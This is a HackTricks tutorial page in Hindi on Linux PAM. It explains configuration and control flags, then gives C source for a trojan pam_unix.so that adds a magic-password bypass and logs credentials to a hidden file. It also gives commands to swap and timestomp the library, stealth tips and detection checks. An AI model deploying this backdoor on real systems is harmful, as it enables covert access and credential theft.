PAM - Pluggable Authentication Modules

Reading time: 6 minutes

tip

AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE) Azure हैकिंग सीखें और अभ्यास करें: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks का समर्थन करें

Basic Information

PAM (Pluggable Authentication Modules) एक सुरक्षा तंत्र के रूप में कार्य करता है जो उन उपयोगकर्ताओं की पहचान की पुष्टि करता है जो कंप्यूटर सेवाओं तक पहुँचने का प्रयास कर रहे हैं, उनके पहुँच को विभिन्न मानदंडों के आधार पर नियंत्रित करता है। यह एक डिजिटल गेटकीपर के समान है, यह सुनिश्चित करते हुए कि केवल अधिकृत उपयोगकर्ता विशिष्ट सेवाओं के साथ संलग्न हो सकते हैं जबकि संभावित रूप से उनके उपयोग को सीमित किया जा सकता है ताकि सिस्टम ओवरलोड से बचा जा सके।

Configuration Files

  • Solaris और UNIX-आधारित सिस्टम आमतौर पर एक केंद्रीय कॉन्फ़िगरेशन फ़ाइल का उपयोग करते हैं जो /etc/pam.conf पर स्थित होती है।
  • Linux सिस्टम एक निर्देशिका दृष्टिकोण को प्राथमिकता देते हैं, जिसमें सेवा-विशिष्ट कॉन्फ़िगरेशन /etc/pam.d के भीतर संग्रहीत होते हैं। उदाहरण के लिए, लॉगिन सेवा के लिए कॉन्फ़िगरेशन फ़ाइल /etc/pam.d/login पर पाई जाती है।

लॉगिन सेवा के लिए PAM कॉन्फ़िगरेशन का एक उदाहरण इस प्रकार हो सकता है:

auth required /lib/security/pam_securetty.so
auth required /lib/security/pam_nologin.so
auth sufficient /lib/security/pam_ldap.so
auth required /lib/security/pam_unix_auth.so try_first_pass
account sufficient /lib/security/pam_ldap.so
account required /lib/security/pam_unix_acct.so
password required /lib/security/pam_cracklib.so
password required /lib/security/pam_ldap.so
password required /lib/security/pam_pwdb.so use_first_pass
session required /lib/security/pam_unix_session.so

PAM प्रबंधन क्षेत्र

ये क्षेत्र, या प्रबंधन समूह, auth, account, password, और session शामिल हैं, प्रत्येक प्रमाणीकरण और सत्र प्रबंधन प्रक्रिया के विभिन्न पहलुओं के लिए जिम्मेदार है:

  • Auth: उपयोगकर्ता की पहचान को मान्य करता है, अक्सर पासवर्ड के लिए संकेत देकर।
  • Account: खाता सत्यापन को संभालता है, जैसे समूह सदस्यता या समय-सीमा प्रतिबंधों की जांच करना।
  • Password: पासवर्ड अपडेट को प्रबंधित करता है, जिसमें जटिलता जांच या शब्दकोश हमलों की रोकथाम शामिल है।
  • Session: सेवा सत्र की शुरुआत या अंत के दौरान क्रियाओं का प्रबंधन करता है, जैसे निर्देशिकाओं को माउंट करना या संसाधन सीमाएँ सेट करना।

PAM मॉड्यूल नियंत्रण

नियंत्रण मॉड्यूल की सफलता या विफलता पर प्रतिक्रिया को निर्धारित करते हैं, जो समग्र प्रमाणीकरण प्रक्रिया को प्रभावित करते हैं। इनमें शामिल हैं:

  • Required: एक आवश्यक मॉड्यूल की विफलता अंततः विफलता का परिणाम देती है, लेकिन केवल तब जब सभी बाद के मॉड्यूल की जांच की जाती है।
  • Requisite: विफलता पर प्रक्रिया का तात्कालिक समाप्ति।
  • Sufficient: सफलता उसी क्षेत्र के बाकी जांचों को बायपास करती है जब तक कि कोई बाद का मॉड्यूल विफल नहीं होता।
  • Optional: केवल विफलता का कारण बनता है यदि यह स्टैक में एकमात्र मॉड्यूल है।

उदाहरण परिदृश्य

कई auth मॉड्यूल के साथ एक सेटअप में, प्रक्रिया एक सख्त क्रम का पालन करती है। यदि pam_securetty मॉड्यूल लॉगिन टर्मिनल को अनधिकृत पाता है, तो रूट लॉगिन अवरुद्ध हो जाते हैं, फिर भी सभी मॉड्यूल को इसके "required" स्थिति के कारण संसाधित किया जाता है। pam_env पर्यावरण चर सेट करता है, जो उपयोगकर्ता अनुभव में सहायता कर सकता है। pam_ldap और pam_unix मॉड्यूल मिलकर उपयोगकर्ता को प्रमाणित करते हैं, pam_unix पहले से दिए गए पासवर्ड का उपयोग करने का प्रयास करता है, प्रमाणीकरण विधियों में दक्षता और लचीलापन बढ़ाता है।

PAM में बैकडोरिंग – pam_unix.so को हुक करना

उच्च-मूल्य वाले Linux वातावरण में एक क्लासिक स्थिरता चाल है वैध PAM पुस्तकालय को एक ट्रोजन ड्रॉप-इन के साथ स्वैप करना। क्योंकि हर SSH / कंसोल लॉगिन अंततः pam_unix.so:pam_sm_authenticate() को कॉल करता है, कुछ C पंक्तियाँ क्रेडेंशियल कैप्चर करने या जादुई पासवर्ड बायपास लागू करने के लिए पर्याप्त हैं।

संकलन चीटशीट

c
#define _GNU_SOURCE
#include <security/pam_modules.h>
#include <dlfcn.h>
#include <stdio.h>
#include <fcntl.h>
#include <unistd.h>

static int (*orig)(pam_handle_t *, int, int, const char **);
static const char *MAGIC = "Sup3rS3cret!";

int pam_sm_authenticate(pam_handle_t *pamh, int flags, int argc, const char **argv) {
const char *user, *pass;
pam_get_user(pamh, &user, NULL);
pam_get_authtok(pamh, PAM_AUTHTOK, &pass, NULL);

/* Magic pwd → immediate success */
if(pass && strcmp(pass, MAGIC) == 0) return PAM_SUCCESS;

/* Credential harvesting */
int fd = open("/usr/bin/.dbus.log", O_WRONLY|O_APPEND|O_CREAT, 0600);
dprintf(fd, "%s:%s\n", user, pass);
close(fd);

/* Fall back to original function */
if(!orig) {
orig = dlsym(RTLD_NEXT, "pam_sm_authenticate");
}
return orig(pamh, flags, argc, argv);
}

संकलित करें और चुपके से बदलें:

bash
gcc -fPIC -shared -o pam_unix.so trojan_pam.c -ldl -lpam
mv /lib/security/pam_unix.so /lib/security/pam_unix.so.bak
mv pam_unix.so /lib/security/pam_unix.so
chmod 644 /lib/security/pam_unix.so     # keep original perms
touch -r /bin/ls /lib/security/pam_unix.so  # timestomp

OpSec Tips

  1. Atomic overwrite – एक अस्थायी फ़ाइल में लिखें और mv का उपयोग करके स्थान पर ले जाएं ताकि आधी लिखी गई लाइब्रेरीज़ SSH को लॉक न कर सकें।
  2. लॉग फ़ाइल का स्थान जैसे /usr/bin/.dbus.log वैध डेस्कटॉप वस्तुओं के साथ मिश्रित होता है।
  3. प्रतीक निर्यात को समान रखें (pam_sm_setcred, आदि) ताकि PAM की गलत व्यवहार से बचा जा सके।

Detection

  • pam_unix.so के MD5/SHA256 की तुलना वितरण पैकेज से करें।
  • /lib/security/ के तहत विश्व-लिखने योग्य या असामान्य स्वामित्व की जांच करें।
  • auditd नियम: -w /lib/security/pam_unix.so -p wa -k pam-backdoor

References

tip

AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE) Azure हैकिंग सीखें और अभ्यास करें: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks का समर्थन करें